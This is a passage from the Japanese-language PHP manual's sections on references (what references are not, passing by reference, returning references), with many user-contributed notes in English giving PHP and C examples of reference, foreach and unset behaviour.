echo $reference->c; //Echoes 2.
?>

In this second code block, I've changed reftest() so that $b increments instead of just gets changed to 2. Somehow, it winds up equaling 3 instead of 2 as it should.
strata_ranger at hotmail dot com 26-Sep-2009 03:29
An interesting if offbeat use for references:  Creating an array with an arbitrary number of dimensions.

For example, a function that takes the result set from a database and produces a multidimensional array keyed according to one (or more) columns, which might be useful if you want your result set to be accessible in a hierarchial manner, or even if you just want your results keyed by the values of each row's primary/unique key fields.

<?php
function array_key_by($data, $keys, $dupl = false)
/*
 * $data  - Multidimensional array to be keyed
 * $keys  - List containing the index/key(s) to use.
 * $dupl  - How to handle rows containing the same values.  TRUE stores it as an Array, FALSE overwrites the previous row.
 *
 * Returns a multidimensional array indexed by $keys, or NULL if error.
 * The number of dimensions is equal to the number of $keys provided (+1 if $dupl=TRUE).
 */
{
    // Sanity check
    if (!is_array($data)) return null;

    // Allow passing single key as a scalar
    if (is_string($keys) or is_integer($keys)) $keys = Array($keys);
    elseif (!is_array($keys)) return null;

    // Our output array
    $out = Array();

    // Loop through each row of our input $data
    foreach($data as $cx => $row) if (is_array($row))
    {

      // Loop through our $keys
      foreach($keys as $key)
      {
        $value = $row[$key];

        if (!isset($last)) // First $key only
        {
          if (!isset($out[$value])) $out[$value] = Array();
          $last =& $out; // Bind $last to $out
        }
        else // Second and subsequent $key....
        {
          if (!isset($last[$value])) $last[$value] = Array();
        }

        // Bind $last to one dimension 'deeper'.
        // First lap: was &$out, now &$out[...]
        // Second lap: was &$out[...], now &$out[...][...]
        // Third lap:  was &$out[...][...], now &$out[...][...][...]
        // (etc.)
        $last =& $last[$value];
      }

      if (isset($last))
      {
        // At this point, copy the $row into our output array
        if ($dupl) $last[$cx] = $row; // Keep previous
        else       $last = $row; // Overwrite previous
      }
      unset($last); // Break the reference
    }
    else return NULL;

    // Done
    return $out;
}

// A sample result set to test the function with
$data = Array(Array('name' => 'row 1', 'foo' => 'foo_a', 'bar' => 'bar_a', 'baz' => 'baz_a'),
              Array('name' => 'row 2', 'foo' => 'foo_a', 'bar' => 'bar_a', 'baz' => 'baz_b'),
              Array('name' => 'row 3', 'foo' => 'foo_a', 'bar' => 'bar_b', 'baz' => 'baz_c'),
              Array('name' => 'row 4', 'foo' => 'foo_b', 'bar' => 'bar_c', 'baz' => 'baz_d')
              );

// First, let's key it by one column (result: two-dimensional array)
print_r(array_key_by($data, 'baz'));

// Or, key it by two columns (result: 3-dimensional array)
print_r(array_key_by($data, Array('baz', 'bar')));

// We could also key it by three columns (result: 4-dimensional array)
print_r(array_key_by($data, Array('baz', 'bar', 'foo')));

?>
dnhuff at acm dot org 09-Jun-2008 11:33
In reply to Drewseph using foo($a = 'set'); where $a is a reference formal parameter.

$a = 'set' is an expression. Expressions cannot be passed by reference, don't you just hate that, I do. If you turn on error reporting for E_NOTICE, you will be told about it.

Resolution: $a = 'set'; foo($a); this does what you want.
Drewseph 29-May-2008 04:15
If you set a variable before passing it to a function that takes a variable as a reference, it is much harder (if not impossible) to edit the variable within the function.

Example:
<?php
function foo(&$bar) {
    $bar = "hello\n";
}

foo($unset);
echo($unset);
foo($set = "set\n");
echo($set);

?>

Output:
hello
set

It baffles me, but there you have it.
Amaroq 31-Mar-2008 10:56
The order in which you reference your variables matters.

<?php
$a1 = "One";
$a2 = "Two";
$b1 = "Three";
$b2 = "Four";

$b1 =& $a1;
$a2 =& $b2;

echo $a1; //Echoes "One"
echo $b1; //Echoes "One"

echo $a2; //Echoes "Four"
echo $b2; //Echoes "Four"
?>
charles at org oo dot com 19-Oct-2007 03:59
points to post below me.
When you're doing the references with loops, you need to unset($var).

for example
<?php
foreach($var as &$value)
{
...
}
unset($value);
?>
Hlavac 09-Oct-2007 02:25
Watch out for this:

foreach ($somearray as &$i) {
  // update some $i...
}
...
foreach ($somearray as $i) {
  // last element of $somearray is mysteriously overwritten!
}

Problem is $i contians reference to last element of $somearray after the first foreach, and the second foreach happily assigns to it!
dovbysh at gmail dot com 06-Jul-2007 12:50
Solution to post "php at hood dot id dot au 04-Mar-2007 10:56":

<?php
$a1 = array('a'=>'a');
$a2 = array('a'=>'b');

foreach ($a1 as $k=>&$v)
$v = 'x';

echo $a1['a']; // will echo x

unset($GLOBALS['v']);

foreach ($a2 as $k=>$v)
{}

echo $a1['a']; // will echo x

?>
amp at gmx dot info 08-Jun-2007 10:59
Something that might not be obvious on the first look:
If you want to cycle through an array with references, you must not use a simple value assigning foreach control structure. You have to use an extended key-value assigning foreach or a for control structure.

A simple value assigning foreach control structure produces a copy of an object or value. The following code

$v1=0;
$arrV=array(&$v1,&$v1);
foreach ($arrV as $v)
{
  $v1++;
  echo $v."\n";
}

yields

0
1

which means $v in foreach is not a reference to $v1 but a copy of the object the actual element in the array was referencing to.

The codes

$v1=0;
$arrV=array(&$v1,&$v1);
foreach ($arrV as $k=>$v)
{
    $v1++;
    echo $arrV[$k]."\n";
}

and

$v1=0;
$arrV=array(&$v1,&$v1);
$c=count($arrV);
for ($i=0; $i<$c;$i++)
{
    $v1++;
    echo $arrV[$i]."\n";
}

both yield

1
2

and therefor cycle through the original objects (both $v1), which is, in terms of our aim, what we have been looking for.

(tested with php 4.1.3)
firespade at gmail dot com 03-Apr-2007 07:11
Here's a good little example of referencing. It was the best way for me to understand, hopefully it can help others.

$b = 2;
$a =& $b;
$c = $a;
echo $c;

// Then... $c = 2
php at hood dot id dot au 04-Mar-2007 10:56
I discovered something today using references in a foreach

<?php
$a1 = array('a'=>'a');
$a2 = array('a'=>'b');

foreach ($a1 as $k=>&$v)
$v = 'x';

echo $a1['a']; // will echo x

foreach ($a2 as $k=>$v)
{}

echo $a1['a']; // will echo b (!)
?>

After reading the manual this looks like it is meant to happen. But it confused me for a few days!

(The solution I used was to turn the second foreach into a reference too)
ladoo at gmx dot at 17-Apr-2005 02:05
I ran into something when using an expanded version of the example of pbaltz at NO_SPAM dot cs dot NO_SPAM dot wisc dot edu below.
This could be somewhat confusing although it is perfectly clear if you have read the manual carfully. It makes the fact that references always point to the content of a variable perfectly clear (at least to me).

<?php
$a = 1;
$c = 2;
$b =& $a; // $b points to 1
$a =& $c; // $a points now to 2, but $b still to 1;
echo $a, " ", $b;
// Output: 2 1
?>
php.devel at homelinkcs dot com 15-Nov-2004 03:16
In reply to lars at riisgaardribe dot dk,

When a variable is copied, a reference is used internally until the copy is modified.  Therefore you shouldn't use references at all in your situation as it doesn't save any memory usage and increases the chance of logic bugs, as you discoved.
joachim at lous dot org 10-Apr-2003 03:46
So to make a by-reference setter function, you need to specify reference semantics _both_ in the parameter list _and_ the assignment, like this:

class foo{
   var $bar;
   function setBar(&$newBar){
      $this->bar =& newBar;
   }
}

Forget any of the two '&'s, and $foo->bar will end up being a copy after the call to setBar.


リファレンスが行わないこと

これまでに説明したように、リファレンスはポインタではありません。このため、 次の例は期待通りに動作しません。

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

ここでの動作としては、関数 foo の $var はコール側の $bar と関連付けられますが、$GLOBALS["baz"] に再結合されるといったものになります。 コール側のスコープにある $bar を、 リファレンスを使って関数内の何かに結合することはできません。 なぜなら、$bar は関数 foo からは利用できないからです （この変数は $var として表されていますが、 $var はその変数の内容のみを有しており、 コール側のシンボルテーブルで名前と変数を結合したものではありません）。 関数内で指定した変数を参照するには、リファレンス返し が使用可能です。

User Contributed Notes

minhtrung2606 at gmail dot com 13-Jun-2019 01:36
<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

Let's re-write the above snippet of code in another way

<?php
$bar = &$var; // At this time, $bar refers to the content to which $var refers which is NULL or empty
$var = & $GLOBALS["baz"]; // At this time, $var changes to refer to another content to which global $baz variable refers. However $bar is still refers to the content of NULL

Expected Result: $bar will hold the content of $var (which is now the content of $baz)
Actual Result: $bar holds a content of NULL or empty. This is what's PHP References does
bravo1romeo 27-Oct-2017 03:58
You can reference values of an array to the values of another array,
however if you change the array by reassigning it, the reference will no longer apply, for example:

<?php
$ref = [1,2,3];
$c = count($ref);
$foo = ['A'];

for($i=0;$i<$c;$i++)
    $foo[] =& $ref[$i];

print_r($foo);
print_r($ref);

$ref = [4,5,6];

print_r($foo);
print_r($ref);
?>

Will output:
Array
(
    [0] => A
    [1] => 1
    [2] => 2
    [3] => 3
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Array
(
    [0] => A
    [1] => 1
    [2] => 2
    [3] => 3
)
Array
(
    [0] => 4
    [1] => 5
    [2] => 6
)

Therefore if you want the values to still reference you must set the array values individually to not reassign the array:
<?php
$ref = [1,2,3];
$c = count($ref);
$foo = ['A'];

for($i=0;$i<$c;$i++)
    $foo[] =& $ref[$i];

print_r($foo);
print_r($ref);

$bar = [4,5,6];
foreach($bar as $i => $value)
    $ref[$i] = $value;

print_r($foo);
print_r($ref);
?>

Results:
Array
(
    [0] => A
    [1] => 1
    [2] => 2
    [3] => 3
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Array
(
    [0] => A
    [1] => 4
    [2] => 5
    [3] => 6
)
Array
(
    [0] => 4
    [1] => 5
    [2] => 6
)
leonardp122794 at gmail dot com 21-Jul-2017 07:36
I kinda agree with the user above who said that php references were actually quite a bit more like c pointers than JAVA or C++.

And here's why.

They act essentially exactly like pointers.

The difference between unset($x) and free(x) seem to be differences between the unset() and free() operators whether than differences between references and pointers themselves.

Free deallocates the memory on the heap.

Unset simple removes the variable.

Other than that, we're dealing with two very simple constructs here.
Anonymous 06-Jan-2016 12:39
It is possible to do something a bit similar to pointers (like in C), where something like array(&$a) is a pointer to a variable called $a; this value can then be passed around as a value; it is not a variable or an alias or whatever but is an actual value.

You can then use codes such as these to read/write through pointers:
<?php
function get($x) { return $x[0]; }
function put($x,$y) { $x[0]=$y; }
?>
ArticIce(Juice) 07-Aug-2015 06:57
Consider this block of code:

<?php
$arr = ['1', '2', '3', '4'];

foreach ($arr as &$i) {}
echo implode($arr, ', ')."\n";

foreach ($arr as $i) {}
echo implode($arr, ', ')."\n";
?>

which will output
1, 2, 3, 4
1, 2, 3, 3

although it seems no changes were made to the array.

The last item in the array gets overwritten, because reference is replaced by a copy in the second iteration. In more detail, it gets overwritten first by a 1, then by 2, by 3 and again by a 3.

Make sure to do an unset($i) when you run an iteration by copy after an iteration by reference using same variable names!
shuimuqingshu at gmail dot com 13-Mar-2012 02:57
i think the code below can tell the difference between PHP reference and C pointer:

In PHP:
<?php
    $a = 0;
    $b = &a;
    echo $a; //0
    unset($b); // unset $b
    echo $a; //0 it's OK
?>

In C:
#include <stdio.h>
int main(int argc, char const *argv[]) {
    int a = 0;
    int* b = &a;

    printf("%i\n", a); //0
    free(b);              // free b
    printf("%i\n", a); //get error: *** error for object 0x7fff6350da08: pointer being freed was not allocated
}
briank at kappacs dot com 25-Jan-2011 02:38
I think the terminology is tripping people up when it comes to assigning objects.

Try thinking of binding and references like this:

<?php
# Code:
$a = 5; $b =& $a; $c = new stdClass(); $d = $c;

# Behind the scenes symbol table and values:
$global_names = array(
'a' => array('binding' => 0),
'b' => array('binding' => 0),
'c' => array('binding' => 1),
'd' => array('binding' => 2),
);
$values = array(
0 => array('type' => 'scalar', 'value' => 5),
1 => array('type' => 'objId', 'value' => 0),
2 => array('type' => 'objId', 'value' => 0)
);
?>

$a is bound to (or references, or is a reference to) the value at index 0 (scalar 5).
$b is bound to the same thing as $a--the value at index 0 (scalar 5).
$c is bound to the value at index 1 (object ID 0).
$d is bound to the value at index 2 (a separate and distinct value also referring to object ID 0).

When the documentation states that you cannot [re-]bind $bar to something else from within the example function foo, it means you can't change what in my pseudo-engine would be $global_names['bar']['binding']. You can only change $values[$names['var']['binding']] (using "$var ="; the same value referenced/bound by $values[$global_names['bar']['binding']) or $names['var']['binding'] (using "$var =&").

Also consider this code:

<?php
$a = 3; $b =& $a;
function foo (&$c) { $c = new stdClass(); }
function bar () { return new stdClass(); }
function &fum () { return new stdClass(); }
if (!is_object($a)) { echo "\$a does not initially refer to an object\n"; }
foo($b);
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by foo\n";
if (is_object($a)) { echo "\$a now contains an object identifier\n"; }
$b =& bar();
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by bar\n";
$b =& fum();
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by fum\n";
?>

which outputs:

$a does not initially refer to an object
$b has not been re-bound by foo
$a now contains an object identifier
$b has not been re-bound by bar
$b has been re-bound by fum

In other words, the value can be changed but the binding does not (except for returning a reference), exactly as stated.

Object identifiers do make object "values" work like pointers (but not to the extent of C/C++, and not like references).
Anonymous 08-Jul-2010 09:25
I understand this like that:
  The reference in PHP is like creating single pointer at own variable in C/C++ and point at variable ( without pointers arithmetic and we can't get number of variable address in memory).

For example
<?php
$a = 4;
$b = &$a;
$c = &$b;
echo "$a - $b - $c<br>";
// 3 pointers ( a , b , c) point at memory location where  stored value of number is 4.
$c = 5;
echo "$a - $b - $c<br>";
// all variables equals 5;
unset($a);
$c = 6;
echo "$a - $b - $c<br>";
//$a is not exist but it was only pointer ( not real part of memory) so we have to way to get value or change it
?>
----
When we want create some "pointer of pointer" in PHP i can't do that because it's impossible in PHP. We need pointer to another pointer to change the place that the pointer refers to. In your exaple you just change value of variable in function. ( no operation of pointers )
Andrew 04-Sep-2008 10:56
What References are not: References.

References are opaque things that are like pointers, except A) smarter and B) referring to HLL objects, rather than memory addresses. PHP doesn't have references. PHP has a syntax for creating *aliases* which are multiple names for the same object. PHP has a few pieces of syntax for calling and returning "by reference", which really just means inhibiting copying. At no point in this "references" section of the manual are there any references.
Anonymous 09-Jun-2008 11:52
The example given in the text:

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

illustrates (to my mind anyway) why the = and & should be written together as a new kind of replacement operator and not apart as in C, like  $var = &$GLOBALS["baz"];

Using totally new terminology:

To me the result of this function is not surprising because the =& means 'change the "destination" of $var from wherever it was to the same as the destination of $GLOBALS["baz"]. Well it 'was' the actual parameter $bar, but now it will be the global at "baz".

If you simply remove the & in the the replacement, it will place the value of $GLOBALS["baz'] into the destination of $var, which is $bar (unless $bar was already a reference, then the value goes into that destination.)

To summarize, =, replaces the 'destination's value; =&, changes the destination.
ansonyumo at email dot com 28-Feb-2004 01:47
The assertion,  "references are not like pointers," is a bit confusing.

In the example, the author shows how assigning a reference to a formal parameter that is also a reference does not affect the value of the actual parameter. This is exactly how pointers behave in C. The only difference is that, in PHP, you don't have to dereference the pointer to get at the value.

-+-+-
int bar = 99;

void foo(int* a)
{
    a = &bar;
}

int main()
{
   int baz = 1;
   foo(&baz);
   printf("%d\n", baz);
   return 0;
}
-+-+-

The output will be 1, because foo does not assign a value to the dereferenced formal parameter. Instead, it reassigns the formal parameter within foo's scope.

Alternatively,
-+-+-
int bar = 99;

void foo(int* a)
{
    *a = bar;
}

int main()
{
   int baz = 1;
   foo(&baz);
   printf("%d\n", baz);
   return 0;
}
-+-+-

The output will be 9, because foo dereferenced the formal parameter before assignment.

So, while there are differences in syntax, PHP references really are very much like pointers in C.

I would agree that PHP references are very different from Java references, as Java does not have any mechanism to assign a value to a reference in such a way that it modifies the actual parameter's value.
schultz __at__ widescreen __dot__ ch 26-Jan-2004 07:57
A not so simple Workaround...but still doable...have fun

class My{
    var $value;

    function get1(&$ref){
        $ref[] =& $this;
    }

    function get2(&$ref){
        $ref =& $this;
    }

    function get3(&$ref){
        $ref = $this;
    }
}

$m = new My();

$m->value = 'foo';
$m->get1($ref=array());
$m1 =& $ref[0];
$m1->value = 'bar';
echo "\n".'Works but is ugly...';
echo "\n".' m:'. get_class($m) . '->value = '. $m->value;
echo "\n".' m1:'. get_class($m1) . '->value = '. $m1->value;

echo "\n".'Does not work because references are not pointers...';
$m->value = 'foo';
$m->get2($m2);
$m2->value = 'bar';
echo "\n".' m:'. get_class($m) . '->value = '. $m->value;
echo "\n".' m2:'. get_class($m2) . '->value = '. $m2->value;

$m->value = 'foo';
$m->get3($m3);
$m3->value = 'bar';
echo "\n".'Does not work becuase it is set to a copy';
echo "\n".' m:'. get_class($m) . '->value = '.$m->value;
echo "\n".' m3:'. get_class($m3) . '->value = '. $m3->value;
christian at kno dot at 12-Oct-2001 06:04
As said above references are not pointers.

Following example shows a difference between pointers and references.

This Code
<?
    $b = 1;
    $a =& $b;

    print("<pre>");
    print("\$a === \$b: ".(($a === $b) ? "ok" : "failed")."\n");
    print("unsetting \$a...\n");
    unset($a);
    print("now \$a is ".(isset($a) ? "set" : "unset")." and \$b is ".(isset($b) ? "set" : "unset")."\n");
    print("</pre>");

    $b = 1;
    $a =& $b;

    print("<pre>");
    print("\$a === \$b: ".(($a === $b) ? "ok" : "failed")."\n");
    print("unsetting \$b...\n");
    unset($b);
    print("now \$a is ".(isset($a) ? "set" : "unset")." and \$b is ".(isset($b) ? "set" : "unset")."\n");
    print("</pre>");
?>

will produce this output:
---------
$a === $b: ok
unsetting $a...
now $a is unset and $b is set

$a === $b: ok
unsetting $b...
now $a is set and $b is unset
---------

So you see that $a and $b are identical ($a === $b -> true), but if one of both is unset, the other is not effected.


リファレンス渡し

リファレンスにより関数に変数を渡すことが可能です。この場合、関数内で その引数を修正可能になります。構文は次のようになります。

<?php
function foo(&$var)
{
    $var++;
}

$a=5;
foo($a);
// $a はここでは 6 です
?>

注意: 関数コールの際には、リファレンス記号がないことに注意してください。 関数定義にのみリファレンス記号があります。リファレンスで正しく引数を 渡すには、関数定義のみで十分です。

次のものはリファレンスで渡すことが可能です。

  • 変数、すなわち、foo($a)

  • 関数から返されるリファレンスは、次のようになります。

    <?php
    function foo(&$var)
    {
            $var++;
    }
    function &    bar()
    {
            $a = 5;
        return     $a;
    }
    foo(bar());
    ?>
    リファレンスによる 返り値 に関する説明も参照ください。

他の式は、結果が未定義となるため、リファレンスで渡すべきではありません。 例えば、リファレンスで渡す次の例は、無効です。

<?php
function foo(&$var)
{
    $var++;
}
function bar() // & がないことに注意
{
    $a = 5;
    return $a;
}
foo(bar()); // notice が発生

foo($a = 5); // 式、変数ではない
foo(5); // 致命的なエラーが発生する

class Foobar
{
}

foo(new Foobar()) // PHP 7.0.7 以降は E_NOTICE が発生
                  // Notice: Only variables should be passed by reference
?>

User Contributed Notes

yiangforwork at gmail dot com 17-Sep-2020 01:35
function set(&$arr) {
    $test = 10;
    $arr = &$test;
}

$arr = [1, 2, 3];
set( $arr );

var_dump( $arr );    // [1, 2, 3]

If you changed a reference variable with a new `Address`, the variable it originally pointed to won't change.
Jason Steelman 12-Nov-2019 06:13
Within a class, passing array elements by reference which don't exist are added to the array as null. Compared to a normal function, this changes the behavior of the function from throwing an error to creating a new (null) entry in the referenced array with a new key.

<?php

class foo {
    public $arr = ['a' => 'apple', 'b' => 'banana'];
    public function normalFunction($key) {
        return $this->arr[$key];
    }
    public function &referenceReturningFunction($key) {
        return $this->arr[$key];
    }
}

$bar = new foo();
$var = $bar->normalFunction('beer'); //Notice Error. Undefined index beer
$var = &$bar->referenceReturningFunction('beer'); // No error. The value of $bar is now null
var_dump($bar->arr);
/**
[
  "a" => "apple",
  "b" => "banana",
  "beer" => null,
],
*/

?>
This is in no way a "bug" - the framework is performing as designed, but it took careful thought to figure out what was going on. PHP7.3
ccb_bc at hotmail dot com 01-Jul-2019 05:58
<?php
// PHP >= 5.6

// Here we use the 'use' operator to create a variable within the scope of the function. Although it may seem that the newly created variable has something to do with '$x' that is outside the function, we are actually creating a '$x' variable within the function that has nothing to do with the '$x' variable outside the function. We are talking about the same names but different content locations in memory.
$x = 10;
(function() use ($x){
    $x = $x*$x;
    var_dump($x); // 100
})();
var_dump($x); // 10

// Now the magic happens with using the reference (&). Now we are actually accessing the contents of the '$y' variable that is outside the scope of the function. All the actions that we perform with the variable '$y' within the function will be reflected outside the scope of this same function. Remembering this would be an impure function in the functional paradigm, since we are changing the value of a variable by reference.
$y = 10;
(function() use (&$y){
    $y = $y*$y;
    var_dump($y); // 100
})();
var_dump($y); // 100
?>
fladnag at zerezo dot com 18-Aug-2017 09:29
Beware of using references with anonymous function and "use" keyword :

If you have a PHP version between 5.3 and < 5.3.10, "use" keyword break the reference :

<?php
function withRef(&$arg) {
  echo 'withRef - BEGIN - '.$arg."\n"; // 1
  $func = function() use($arg) { /* do nothing, just declare using $arg */ };
  $arg = 2;
  echo 'withRef - END - '.$arg."\n"; // 2
}

$arg = 1;
echo 'withRef - BEFORE - '.$arg."\n"; // 1
withRef($arg);
// in PHP 5.3 < 5.3.10 : display 1
// in PHP 5.3 >= 5.3.10 : display 2
echo 'withRef - AFTER - '.$arg."\n";
?>

A workaround is to use a copy of the reference variable in "use" keyword :
<?php
  ...
  $arg2 = $arg;
  $func = function() use($arg2) { /* do nothing, just declare using $arg2 */ };
nickshanks at nickshanks dot com 26-May-2017 12:49
For anyone wondering, the copy-on-write behaviour just does the Right Thing™ when an array is passed to a function not by-ref which then passes it through to another function by-ref without writing to it. For example:

<?php

function do_sort(array $array) : array {
    usort($array, function ($a, $b) {
        return strnatcasecmp($a['name'], $b['name']);
    });

    return $array;
}

$data = [
    [
        'name' => 'one',
    ], [
        'name' => 'two',
    ], [
        'name' => 'three',
    ], [
        'name' => 'four',
    ],
];

var_dump($data);
do_sort($data); // does not affect value of $data
var_dump($data);
$data = do_sort($data);
var_dump($data);
pallsopp at gmail dot com 19-Dec-2016 08:32
The comment by tnestved at yahoo dot com is incorrect as it is based purely on perception and not architecture. The method passing the object should not care whether it is by ref or by val, and nor should the reader.

If we are talking about readability and perception, then the receiving method needs to show that the object coming in is a reference, not an object instance, otherwise the reader is perplexed why the object is not returned.

Good functional headers alleviate all issues in this case.
mike at eastghost dot com 19-May-2015 07:06
beware unset()  destroys references

$x = 'x';
change( $x );
echo $x; // outputs "x" not "q23"  ---- remove the unset() and output is "q23" not "x"

function change( & $x )
{
    unset( $x );
    $x = 'q23';
    return true;
}
no at spam dot please 05-May-2015 08:36
agreed : this change produces less readable code.

additionally, it breaks many existing perfectly working codes which are not portable anymore and in some cases will require complex modifications

another issue regards the fatal error that is produced : how the hell am i supposed to do if i want to allow the user to use a value that is not even in a variable, or the return or a function call, or use call_user_func... this produces many occasions for a code to even break at run time
tnestved at yahoo dot com 14-Oct-2014 01:54
By removing the ability to include the reference sign on function calls where pass-by-reference is incurred (I.e., function definition uses &), the readability of the code suffers, as one has to look at the function definition to know if the variable being passed is by-ref or not (I.e., potential to be modified).  If both function calls and function definitions require the reference sign (I.e., &), readability is improved, and it also lessens the potential of an inadvertent error in the code itself.  Going full on fatal error in 5.4.0 now forces everyone to have less readable code.  That is, does a function merely use the variable, or potentially modify it...now we have to find the function definition and physically look at it to know, whereas before we would know the intent immediately.
phpnet at holodyn dot com 26-Mar-2014 06:38
The notes indicate that a function variable reference will receive a deprecated warning in the 5.3 series, however when calling the function via call_user_func the operation aborts without fatal error.

This is not a "bug" since it is not likely worth resolving, however should be noted in this documentation.
diabolos @t gmail dot com 27-Jul-2012 02:46
<?php

/*

  This function internally swaps the contents between
  two simple variables using 'passing by reference'.

  Some programming languages have such a swap function
  built in, but PHP seems to lack such a function.  So,
  one was created to fill the need.  It only handles
  simple, single variables, not arrays, but it is
  still a very handy tool to have.

  No value is actually returned by this function, but
  the contents of the indicated variables will be
  exchanged (swapped) after the call.
*/

// ------------------------------------------
// Demo call of the swap(...) function below.

 $a = 123.456;
 $b = 'abcDEF';

 print "<pre>Define:\na = $a\nb = '$b'</pre>";
 swap($a,$b);
 print "<pre>After swap(a,b):\na = '$a'\nb = $b</pre>";

// -------------------------------

   function swap (&$arg1, &$arg2)
{

// Swap contents of indicated variables.
   $w=$arg1;   $arg1=$arg2;   $arg2=$w;
}

?>
fdelizy at unfreeze dot net 12-Aug-2006 09:32
Some have noticed that reference parameters can not be assigned a default value. It's actually wrong, they can be assigned a value as the other variables, but can't have a "default reference value", for instance this code won't compile :

<?php
function use_reference( $someParam, &$param =& $POST )
{
 ...
}
?>

But this one will work :

<?php
function use_reference( $someParam, &$param = null )
?>

So here is a workaround to have a default value for reference parameters :

<?php
$array1 = array ( 'test', 'test2' );

function AddTo( $key, $val, &$array = null)
{
    if ( $array == null )
    {
      $array =& $_POST;
    }

    $array[ $key ] = $val ;
}

AddTo( "indirect test", "test", $array1 );
AddTo( "indirect POST test", "test" );

echo "Array 1 " ;
print_r ( $array1);

echo "_POST ";
print_r( $_POST );

?>

And this scripts output is :

Array 1 Array
(
    [0] => test
    [1] => test2
    [indirect test] => test
)
_POST Array
(
    [indirect POST test] => test
)

Of course that means you can only assign default reference to globals or super globals variables.

Have fun
pillepop2003 at yahoo dot de 13-Feb-2005 08:08
PHP has a strange behavior when passing a part of an array by reference, that does not yet exist.

<?php
    function func(&$a)
    {
        // void();
    }

    $a['one'] =1;
    func($a['two']);
?>

var_dump($a) returns

    array(2) {
        ["one"]=>
        int(1)
        ["two"]=>
        NULL
    }

...which seems to be not intentional!
obscvresovl at NOSPAM dot hotmail dot com 25-Dec-2004 10:51
Just a simple note...

<?php

$num = 1;

function blah(&$var)
{
    $var++;
}

blah($num);

echo $num; #2

?>

<?php

$num = 1;

function blah()
{
    $var =& $GLOBALS["num"];
    $var++;
}

blah();

echo $num; #2

?>

Both codes do the same thing! The second code "explains" how passage of parameters by reference works.
Sergio Santana: ssantana at tlaloc dot imta dot mx 10-Sep-2004 08:25
Sometimes we need functions for building or modifying arrays whose elements are to be references to other variables (arrays or objects for instance). In this example, I wrote two functions 'tst' and 'tst1' that perform this task. Note how the functions are written, and how they are used.

<?php
function tst(&$arr, $r) {
  // The argument '$arr' is declared to be passed by reference,
  // but '$r' is not;
  // however, in the function's body, we use a reference to
  // the '$r' argument

  array_push($arr, &$r);
  // Alternatively, this also could be $arr[] = &$r (in this case)
}

$arr0 = array();          // an empty array
$arr1 = array(1,2,3);   // the array to be referenced in $arr0

// Note how we call the function:
tst($arr0, &$arr1); // We are passing a reference to '$arr1' in the call !

print_r($arr0); // Contains just the reference to $arr1

array_push($arr0, 5); // we add another element to $arr0
array_push($arr1, 18); // we add another element to $arr1 as well

print_r($arr1);
print_r($arr0); // Changes in $arr1 are reflected in $arr0

// -----------------------------------------
// A simpler way to do this:

function tst1(&$arr, &$r) {
  // Both arguments '$arr' and '$r" are declared to be passed by
  // reference,
  // again, in the function's body, we use a reference to
  // the '$r' argument

  array_push($arr, &$r);
  // Alternatively, this also could be $arr[] = &$r (in this case)
}

$arr0 = array();          // an empty array
$arr1 = array(1,2,3);   // the array to be referenced in $arr0

// Note how we call the function:
tst1($arr0, $arr1); // 'tst1' understands '$r' is a reference to '$arr1'

echo "-------- 2nd. alternative ------------ <br>\n";

print_r($arr0); // Contains just the reference to $arr1

array_push($arr0, 5); // we add another element to $arr0
array_push($arr1, 18);

print_r($arr1);
print_r($arr0); // Changes in $arr1 are reflected in $arr0

// This outputs:
// X-Powered-By: PHP/4.1.2
// Content-type: text/html
//
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//         )
//
// )
// Array
// (
//     [0] => 1
//     [1] => 2
//     [2] => 3
//     [3] => 18
// )
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//             [3] => 18
//         )
//
//     [1] => 5
// )
// -------- 2nd. alternative ------------
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//         )
//
// )
// Array
// (
//     [0] => 1
//     [1] => 2
//     [2] => 3
//     [3] => 18
// )
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//             [3] => 18
//         )
//
//     [1] => 5
// )
?>

In both cases we get the same result.

I hope this is somehow useful

Sergio.


リファレンスを返す

リファレンスを返すことは、結合する変数を見付けるために関数を使用し たい場合に便利です。パフォーマンスを向上させるためだけの目的で この機能を用いることはやめてください。 そのようなことをしなくても、PHP エンジンが自動的に最適化を行います。 リファレンスを返すのは、そうすべき妥当な理由がある場合に限られます! リファレンスを返す場合、次の構文を使用して下さい。

<?php
class foo {
    public $value = 42;

    public function &getValue() {
        return $this->value;
    }
}

$obj = new foo;
$myValue = &$obj->getValue(); // $myValue は $obj->value へのリファレンス、つまり 42 となります
$obj->value = 2;
echo $myValue;                // $obj->value の新しい値である 2 を表示します
?>
この例では、関数 getValue により返された オブジェクトのプロパティが、設定されます。リファレンス構文を 使用しない場合のようにコピーとなるわけではありません。

注意: パラメータを渡す場合と異なり、ここでは、通常のようにコピーでは なくリファレンスで返り値を指定し、リファレンス結合を指定するために 両方の場所で & を使用する必要があります。 $myValue について行われたのは、通常の代入ではありません。

注意: 以下のような形式で関数からリファレンスを返そうとした場合、 return ($this->value); これは、あなたが望んでいるように 式 の結果を返してくれることはありません。 可能なことは、値へのリファレンスを返すことができるということだけで、 それ以外の何者でもありません。

返されたリファレンスを使うには、リファレンスを代入しなければなりません。

<?php
function &collector() {
  static $collection = array();
  return $collection;
}
$collection = &collector();
$collection[] = 'foo';
?>
返されたリファレンスを、リファレンスを要求する別の関数に渡すには、 この構文を使います。
<?php
function &collector() {
  static $collection = array();
  return $collection;
}
array_push(collector(), 'foo');
?>

注意: array_push(&collector(), 'foo'); は 動かないことに注意しましょう。fatal エラーとなります。

User Contributed Notes

jpenna 12-Mar-2020 11:41
You can set the value of the variable returned by reference, be it a `static` function variable or a `private` property of an object (which is quite dangerous o.o).

Static function variable:

<?php
    function &func(){
        static $static = 0;
        return $static;
    }

    $var1 =& func();
    echo "var1:", $var1, "\n"; // 0
    func();

    $var1 = 90;
    echo "var1:", $var1, "\n"; // 90
    echo "static:", func(), "\n"; // 90
?>

Private property

<?php
class foo {
    private $value = 1;

    public function &getValue() {
        return $this->value;
    }

